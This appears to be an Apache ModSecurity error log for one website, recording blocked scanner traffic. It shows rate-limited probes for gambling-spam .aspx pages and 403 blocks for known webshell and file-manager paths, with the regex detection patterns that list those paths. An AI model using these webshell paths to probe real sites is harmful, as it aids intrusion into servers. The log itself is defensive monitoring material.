[Thu Mar 19 07:37:48.088779 2026] [:error] [pid 23884:tid 23969] [client 145.239.65.236:34520] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "abs3TF6St-VCdOYnZMoA9gAAAI0"]
[Thu Mar 19 07:37:50.741557 2026] [:error] [pid 32226:tid 32236] [client 145.239.65.236:51758] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abs3TrBb58lgPwqxC6qDiwAAAwg"]
[Thu Mar 19 07:37:53.306830 2026] [:error] [pid 3278:tid 3303] [client 145.239.65.236:51772] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "abs3UQC2T_lM6ZgvfcQ9mAAAARY"]
[Thu Mar 19 07:37:55.953397 2026] [:error] [pid 23884:tid 23964] [client 145.239.65.236:51774] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abs3U16St-VCdOYnZMoBAAAAAIg"]
[Thu Mar 19 07:37:58.499990 2026] [:error] [pid 23883:tid 23944] [client 145.239.65.236:51788] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abs3VtNi-EnEAH4abz2EEwAAAE8"]
[Thu Mar 19 07:38:00.948667 2026] [:error] [pid 31447:tid 31479] [client 145.239.65.236:36646] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "abs3WBmVNRDSLnGvghhMRAAAAhg"]
[Thu Mar 19 07:38:03.524655 2026] [:error] [pid 23882:tid 23902] [client 145.239.65.236:36650] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "abs3W7WnClbtbN12M78NygAAAAA"]
[Thu Mar 19 07:38:05.966910 2026] [:error] [pid 31735:tid 31746] [client 145.239.65.236:36658] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "abs3XX-gyQbRQWJYccwuCwAAAoc"]
[Thu Mar 19 07:38:08.384562 2026] [:error] [pid 23882:tid 23910] [client 145.239.65.236:36668] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abs3YLWnClbtbN12M78NywAAAAg"]
[Thu Mar 19 07:38:10.935833 2026] [:error] [pid 31205:tid 31228] [client 145.239.65.236:34532] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abs3Ylu5gZKGrGz5P1EV8AAAAUs"]
[Thu Mar 19 07:38:13.409750 2026] [:error] [pid 31447:tid 31462] [client 145.239.65.236:34542] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "abs3ZRmVNRDSLnGvghhMTAAAAgc"]
[Thu Mar 19 07:38:15.865630 2026] [:error] [pid 32226:tid 32234] [client 145.239.65.236:34544] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abs3Z7Bb58lgPwqxC6qDoAAAAwY"]
[Thu Mar 19 07:38:18.327374 2026] [:error] [pid 32226:tid 32241] [client 145.239.65.236:34546] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abs3arBb58lgPwqxC6qDqgAAAw0"]
[Thu Mar 19 07:38:20.752969 2026] [:error] [pid 32226:tid 32249] [client 145.239.65.236:51766] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "abs3bLBb58lgPwqxC6qDvAAAAxU"]
[Thu Mar 19 07:38:23.272858 2026] [:error] [pid 31205:tid 31234] [client 145.239.65.236:51770] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abs3b1u5gZKGrGz5P1EWAAAAAVE"]
[Thu Mar 19 07:38:25.908565 2026] [:error] [pid 23884:tid 23960] [client 145.239.65.236:51784] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abs3cV6St-VCdOYnZMoBEgAAAIQ"]
[Thu Mar 19 07:38:28.497378 2026] [:error] [pid 31735:tid 31748] [client 145.239.65.236:51790] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abs3dH-gyQbRQWJYccwuHgAAAok"]
[Thu Mar 19 07:38:31.021432 2026] [:error] [pid 23884:tid 23966] [client 145.239.65.236:46972] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abs3d16St-VCdOYnZMoBGAAAAIo"]
[Thu Mar 19 07:38:33.623115 2026] [:error] [pid 32226:tid 32240] [client 145.239.65.236:46978] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abs3ebBb58lgPwqxC6qDvwAAAww"]
[Thu Mar 19 07:38:56.919676 2026] [:error] [pid 31205:tid 31230] [client 145.239.65.236:46986] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abs3kFu5gZKGrGz5P1EWSgAAAU0"]
[Thu Mar 19 07:38:59.744170 2026] [:error] [pid 31447:tid 31464] [client 145.239.65.236:33028] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abs3kxmVNRDSLnGvghhMewAAAgk"]
[Thu Mar 19 07:39:02.277217 2026] [:error] [pid 31205:tid 31234] [client 145.239.65.236:33040] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abs3llu5gZKGrGz5P1EWUwAAAVE"]
[Thu Mar 19 07:39:05.126622 2026] [:error] [pid 32226:tid 32246] [client 145.239.65.236:33044] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abs3mbBb58lgPwqxC6qEBQAAAxI"]
[Thu Mar 19 07:39:07.647618 2026] [:error] [pid 31205:tid 31232] [client 145.239.65.236:33046] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abs3m1u5gZKGrGz5P1EWXQAAAU8"]
[Thu Mar 19 07:39:10.564152 2026] [:error] [pid 32226:tid 32238] [client 145.239.65.236:45188] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abs3nrBb58lgPwqxC6qEFwAAAwo"]
[Thu Mar 19 07:39:13.572088 2026] [:error] [pid 31447:tid 31456] [client 145.239.65.236:45198] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abs3oRmVNRDSLnGvghhMhwAAAgE"]
[Thu Mar 19 07:39:16.386720 2026] [:error] [pid 31205:tid 31233] [client 145.239.65.236:45210] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abs3pFu5gZKGrGz5P1EWbwAAAVA"]
[Thu Mar 19 07:39:19.052899 2026] [:error] [pid 31205:tid 31221] [client 145.239.65.236:44312] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abs3p1u5gZKGrGz5P1EWegAAAUU"]
[Thu Mar 19 07:39:21.757632 2026] [:error] [pid 31313:tid 31385] [client 145.239.65.236:44324] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abs3qQ9HuAbqf2tZOycEcgAAAdg"]
[Thu Mar 19 07:39:24.594925 2026] [:error] [pid 32226:tid 32229] [client 145.239.65.236:44326] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abs3rLBb58lgPwqxC6qEOgAAAwE"]
[Thu Mar 19 07:39:27.628480 2026] [:error] [pid 31447:tid 31469] [client 145.239.65.236:44342] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abs3rxmVNRDSLnGvghhMpAAAAg4"]
[Thu Mar 19 07:39:30.449455 2026] [:error] [pid 31447:tid 31462] [client 145.239.65.236:43592] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abs3shmVNRDSLnGvghhMqgAAAgc"]
[Thu Mar 19 07:39:33.132547 2026] [:error] [pid 3278:tid 3290] [client 145.239.65.236:43596] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abs3tQC2T_lM6ZgvfcQ90wAAAQk"]
[Thu Mar 19 07:39:35.768856 2026] [:error] [pid 31205:tid 31221] [client 145.239.65.236:43602] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abs3t1u5gZKGrGz5P1EWjgAAAUU"]
[Thu Mar 19 07:39:38.458690 2026] [:error] [pid 31735:tid 31749] [client 145.239.65.236:43608] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abs3un-gyQbRQWJYccwuOgAAAoo"]
[Thu Mar 19 07:39:41.042787 2026] [:error] [pid 31205:tid 31229] [client 145.239.65.236:43834] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abs3vVu5gZKGrGz5P1EWnQAAAUw"]
[Thu Mar 19 07:39:43.664836 2026] [:error] [pid 31205:tid 31235] [client 145.239.65.236:43846] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abs3v1u5gZKGrGz5P1EWqwAAAVI"]
[Thu Mar 19 07:39:46.125296 2026] [:error] [pid 32226:tid 32247] [client 145.239.65.236:43852] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abs3wrBb58lgPwqxC6qEXwAAAxM"]
[Thu Mar 19 07:39:48.563555 2026] [:error] [pid 31205:tid 31220] [client 145.239.65.236:43854] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abs3xFu5gZKGrGz5P1EWuAAAAUQ"]
[Thu Mar 19 07:39:51.463548 2026] [:error] [pid 23988:tid 23995] [client 145.239.65.236:46080] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abs3x2nlkSPXj2matr0ibgAAAMQ"]
[Thu Mar 19 07:39:53.999687 2026] [:error] [pid 31205:tid 31218] [client 145.239.65.236:46096] [client 145.239.65.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abs3yVu5gZKGrGz5P1EWygAAAUI"]
[Thu Mar 19 08:45:22.872476 2026] [:error] [pid 31447:tid 31465] [client 151.243.109.17:56898] [client 151.243.109.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about-us"] [unique_id "abtHIhmVNRDSLnGvghhjbwAAAgo"]
[Thu Mar 19 08:45:25.642872 2026] [:error] [pid 23988:tid 24010] [client 151.243.109.17:56952] [client 151.243.109.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about-us"] [unique_id "abtHJWnlkSPXj2matr0mCwAAANM"]
[Thu Mar 19 08:45:26.962129 2026] [:error] [pid 31447:tid 31473] [client 151.243.109.17:56978] [client 151.243.109.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about-us"] [unique_id "abtHJhmVNRDSLnGvghhjhQAAAhI"]
[Thu Mar 19 09:59:06.140491 2026] [:error] [pid 23883:tid 23929] [client 209.87.169.223:29237] [client 209.87.169.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "abtYatNi-EnEAH4abz2PnwAAAEA"]
[Thu Mar 19 09:59:06.902099 2026] [:error] [pid 23882:tid 23919] [client 209.87.169.250:38769] [client 209.87.169.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "abtYarWnClbtbN12M78awQAAABE"]
[Thu Mar 19 09:59:08.173578 2026] [:error] [pid 23884:tid 23958] [client 209.87.169.210:41471] [client 209.87.169.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "abtYbF6St-VCdOYnZMojugAAAII"]
[Thu Mar 19 10:00:06.477438 2026] [:error] [pid 25269:tid 25288] [client 209.87.169.62:32649] [client 209.87.169.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "abtYpsU9ntriqNcU-b6JDAAAA9A"]
[Thu Mar 19 10:00:07.874525 2026] [:error] [pid 25179:tid 25194] [client 209.87.169.37:64925] [client 209.87.169.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "abtYp2FzmTtmuBLc_LZSNwAAA40"]
[Thu Mar 19 10:00:09.859251 2026] [:error] [pid 25179:tid 25197] [client 209.87.169.53:40125] [client 209.87.169.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "abtYqWFzmTtmuBLc_LZSSwAAA5A"]
[Thu Mar 19 10:00:10.740625 2026] [:error] [pid 31313:tid 31372] [client 209.87.169.58:27299] [client 209.87.169.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "abtYqg9HuAbqf2tZOycg9wAAAcs"]
[Thu Mar 19 10:00:12.552673 2026] [:error] [pid 31735:tid 31739] [client 209.87.169.56:55563] [client 209.87.169.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "abtYrH-gyQbRQWJYccxDAwAAAoA"]
